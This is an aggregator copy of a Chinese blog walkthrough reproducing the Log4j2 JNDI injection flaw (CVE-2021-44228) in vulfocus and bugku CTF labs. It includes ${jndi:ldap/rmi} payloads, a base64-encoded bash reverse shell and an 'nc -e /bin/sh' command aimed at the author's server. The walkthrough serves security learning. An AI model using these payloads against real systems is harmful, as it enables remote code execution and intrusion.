4

log4j2的简单复现

 2 years ago
source link: https://sakurahack-y.github.io/2022/04/23/log4j2%E7%9A%84%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
log4j2的简单复现 | sakura

之前只是简略看了看这个漏洞,但是并没有及时复现,但是发现这个漏洞hw问的很多,所以还是及时复现一下吧。

Apache Log4j2 是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具。Log4j2 是一个 Log4j 1.x 的重写,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于其优异的性能而被广泛的应用于各种常见的 Web 服务中。

2021 年 12 月 9 日晚,Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

漏洞编号:CVE-2021-44228

- 漏洞:Log4j2 的 JNDI 功能点无法防御来自攻击者的 ldap 以及其他相关端点的攻击行为。
- 严重等级:Critical
- Basic CVSS 评分:10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- 影响版本:all versions from 2.0-beta9 to 2.14.1

由于本人代码功底有限,就大概说明下,不进行代码跟进了。

log4j2提供了一种叫lookups的功能来写日志

而漏洞成因就是log4j2支持Jndi Lookup

日志中包含 ${},lookup功能就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身。log4j 2将基本的解析都做了实现:

常见解析:

${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s}
${log4j}
${main}
${name}
${marker}
${spring}
${sys:logPath}
${web:rootDir}

JNDI就是提供一个目录系统,并将服务与对象关联起来,可以使用名称来访问对象。而log4j 2中JNDI解析未作限制,可以直接访问到远程对象,如果是自己的服务器还好说,那如果访问到黑客的服务器呢?

也就是当记录日志的一部分是用户可控时(比如输入用户名和密码时),就可以构造恶意字符串使服务器记录日志时调用JNDI访问恶意对象,也就是流传出的payload构成:

${jndi:ldap:xxx.xxx.xxx.xxx:xxxx/exp}

环境1 失败

环境:http://vulfocus.io/

测试一下是否存在log4j2,使用网站:http://dnslog.cn/

xxxx?payload=${jndi:ldap://37zwcc.dnslog.cn/exp}

有个很重要一点,要对特殊字符进行url编码

成功回显,证明有漏洞

在vps上运行jndi注入工具:

链接:https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDguMTY2LjIwMS4xNi82NjY3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "108.166.xx.xx"

nc监听:

构造payload

${jndi:rmi://108.166.201.16:1099/xodh7q}

还是进行url编码

按理说就可以了,但是我在这个环境并没有成功

环境2 成功

感觉上面的环境有点问题,一直无法反弹shell,无论是bin/bash 还是nc都反弹失败了,下面采用bugku环境复现

url:https://ctf.bugku.com/challenges/detail/id/340.html

打一下poc,测试下是否存在漏洞

ojbk,回显了

在Linux上启动服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 108.166.xx.xx 4444 -e /bin/sh" -A 108.166.xx.xx

直接构造payload

${jndi:rmi://108.166.201.16:1099/dwqsay}

成功反弹shell


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK